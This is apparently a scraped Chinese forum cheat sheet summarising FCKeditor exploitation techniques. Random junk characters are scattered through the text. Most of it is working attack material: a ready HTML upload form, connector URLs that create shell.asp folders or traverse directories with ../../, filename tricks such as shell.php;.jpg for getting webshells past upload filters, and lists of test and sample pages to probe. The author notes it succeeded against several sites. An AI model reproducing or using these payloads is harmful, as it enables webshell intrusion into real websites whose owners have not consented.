Fckeditor漏洞利用总结
% D3 o4 C$ ~( O v( |查看编辑器版本
4 l( U- S% ?9 p- } i( q1 \: ~FCKeditor/_whatsnew.html
- e8 E$ R; u' _! z—————————————————————————————————————————————————————————————0 t& H8 b# L+ Q# h# e" Q
3 v. ]* i5 B2 u+ n) |
2. Version 2.2 版本
+ `+ x4 ^+ n2 B2 b% oApache+linux 环境下在上传文件后面加个.突破!测试通过。
4 |( M4 W) }3 w" O! N) F5 T—————————————————————————————————————————————————————————————
; U; p9 @- W# [& ?- h( o9 j9 [% ~" ?2 J9 D' J
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。, r. I, y7 z0 P1 I
<form id="frmUpload" enctype="multipart/form-data"+ o) D' n' F6 i5 z- t9 @
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>6 o% m" v1 n5 O: s
<input type="file" name="NewFile" size="50"><br>
2 b6 y9 a G8 M4 @" d' j4 h) [<input id="btnUpload" type="submit" value="Upload">
1 H) B( h: I; f5 D</form>
4 {1 R' q8 H3 W( n& o c5 b—————————————————————————————————————————————————————————————
, A4 C0 W9 p- P$ A4 Q8 U& V* O$ z5 t4 A- K4 ?* j/ i
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
* v) Z6 P& K; C/ I' q 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。3 C( ?& a3 g2 a, w; J% W( C
4.1:提交shell.php+空格绕过6 C8 e3 {3 O) e/ Y
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
, L7 J. _) {7 X1 r6 I 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。9 ?: j# ~+ m7 O/ U1 j4 Z; v0 i7 q
—————————————————————————————————————————————————————————————: [/ N( b: M5 ~; k
" l5 _* G ^0 I8 v. i5. 突破建立文件夹
/ R" \' f8 N, w& M- \# f% LFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
' |% n* |( w& e4 i6 ]. J) ^FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp$ M7 }" G+ L) f8 ~- Q
—————————————————————————————————————————————————————————————
. c$ X" R& y9 V7 }1 F% M: y+ \, y+ T2 L4 Q( _6 k6 n) B
6. FCKeditor 中test 文件的上传地址
1 l/ I! M6 X5 oFCKeditor/editor/filemanager/browser/default/connectors/test.html+ J- k+ D& U0 Q" q* f
FCKeditor/editor/filemanager/upload/test.html
* b* E2 w7 O- w+ C5 ^" t: u/ yFCKeditor/editor/filemanager/connectors/test.html
7 c2 {9 F* v& l& FFCKeditor/editor/filemanager/connectors/uploadtest.html
& X3 x i+ `* O/ ?* E! J—————————————————————————————————————————————————————————————
( `. {) }: r9 z9 \5 E3 G
( o" ?/ p/ L- w9 f7.常用上传地址7 I( \6 P: a6 M$ E7 k2 i1 m i- {
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/( G0 a0 x7 E8 F; g) J
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp, Z2 [. X4 t6 e" o- F# N' ~
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过), z6 m% t# ?- e/ o
JSP 版:0 T" b5 _0 o! u y$ q7 P3 d l4 l
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
* A6 {4 `% _5 T* p2 I9 n1 H5 u注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
( z% C3 w; \7 Q; x: Z& T: a件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
$ f/ W$ }+ m7 }9 I8 C3 j* b—————————————————————————————————————————————————————————————
7 q6 x/ K/ z I2 X }# b7 C0 k6 ]: Y, m" W' d+ H& t
8.其他上传地址+ {0 _- {$ U& i* ]
FCKeditor/_samples/default.html+ D' t: X$ S: v+ O4 N& T1 n/ S
FCKeditor/_samples/asp/sample01.asp5 q+ B& A/ D7 g% n. H
FCKeditor/_samples/asp/sample02.asp, p) t' Z, D% n6 X1 Q
FCKeditor/_samples/asp/sample03.asp
, M" ?- E7 s$ K3 F/ dFCKeditor/_samples/asp/sample04.asp
: u U* t& T* L8 E一般很多站点都已删除_samples 目录,可以试试。1 M: C2 [4 Z6 C. L: H
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。, i) c7 b. e4 W& v% X* \3 E5 b
—————————————————————————————————————————————————————————————* E- j* { W! ~6 u
! s) j* C4 q- W0 M/ i' a
9.列目录漏洞也可助找上传地址
6 \+ ]2 P* p F, ~, F sVersion 2.4.1 测试通过% A$ G1 W, T/ d- m% x/ |( g0 \
修改CurrentFolder 参数使用 ../../来进入不同的目录
' A% e; b; ? T+ J+ A/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
7 k, _" }$ d) N1 n根据返回的XML 信息可以查看网站所有的目录。
8 L( K. r' P, U/ b$ [: T% UFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
2 t( o/ c9 s: A' A1 O% s0 X也可以直接浏览盘符:
9 G$ h: ^9 C2 ?2 I5 aJSP 版本:2 V& t% p7 d' j' X0 Q9 N- T. {4 x9 p
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F: }1 c) [0 h# P4 B% J9 |- d
—————————————————————————————————————————————————————————————
] h- B( v: }% b$ [8 j( q$ v5 T# r4 g* w) H
10.爆路径漏洞
- S% I' R: v/ q( n7 HFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
5 i) V/ t$ k& z( k. x) L4 C—————————————————————————————————————————————————————————————
% O: \: e1 q' |( ?8 ~; V
% N% `$ X& d G1 f3 Z. I X11. FCKeditor 被动限制策略所导致的过滤不严问题0 d& e7 t8 I. @, ~# l. v5 m
影响版本: FCKeditor x.x <= FCKeditor v2.4.3, I& S4 G4 J, C* J4 D' m
脆弱描述:
( k; o) F4 T6 |- n; _% o4 }FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
5 x v. W2 |0 Ohtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm# C, o; @+ w( S$ p% ?1 d. X% m1 N6 e
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!0 {3 L& C$ e1 u8 i% x k. y
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。. _4 i- [- u5 B) U9 |. b Z/ y3 R
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!6 n) a8 m) X! y
—————————————————————————————————————————————————————————————: n8 e2 u q3 B5 ~
' l) n" c# d, I! W+ }* A- ^) _+ M, f
12.最古老的漏洞,Type文件没有限制!7 o9 y$ _7 }8 S; ~+ ^
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! # G4 X1 e2 g) L* L6 e
—————————————————————————————————————————————————————————————1 S+ o# p& K! _5 {- _$ R
! j. W- M3 z" n9 |" i===============================================================================================================================================3 a7 w# A' I; |2 x' }! s
3 f' A% ~' w1 P: Y; n1 j2 [FCK编辑器jsp版本漏洞:" T2 x* n' |+ F5 k
: `- |7 ~+ Q6 T. N" K7 B# W) Y' H. i( Q1 k
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
; ], x" R$ Q! Z
* y% f @- p. `+ r上传马所在目录
* d+ Y+ S; g9 ^& M/ M& c/ CFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
% \4 K8 i' y. y- T上传shell的地址:, t5 _ f) D' Q1 \
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector7 b" @4 u! }; V% g: r9 N
跟版本有关系.并不是百分百成功. 测试成功几个站.
9 u; }( R8 F: f# }7 @不能通杀.很遗憾.- x5 Y1 r* R, X! x! ^; k2 S. i0 i
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector) d) d5 l! g' ~7 {
如果以上地址不行可以试试
1 |& A: }* r' c" [FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector- t2 w+ ?+ {! r( w7 W, Z
FCKeditor/_samples/* ~' Q/ v. S: _- _# w
FCKeditor/_samples/default.html
% s2 Z" {& \% J% RFCKeditor/editor/fckeditor.htm
1 |% Y' o- g: A/ i- d5 ~FCKeditor/editor/fckdialog.html- z) r5 A" Z4 f) _4 \0 Y
; E2 e- ]$ _, |1 c. I# r( l( I9 a' N8 F- Z! k% n% D
5 U. T# v( y; U Y+ K& c解析漏洞+未重命名文件时上传漏洞 1.asp;jpg) L- t3 F& o; h" r9 ?; B
|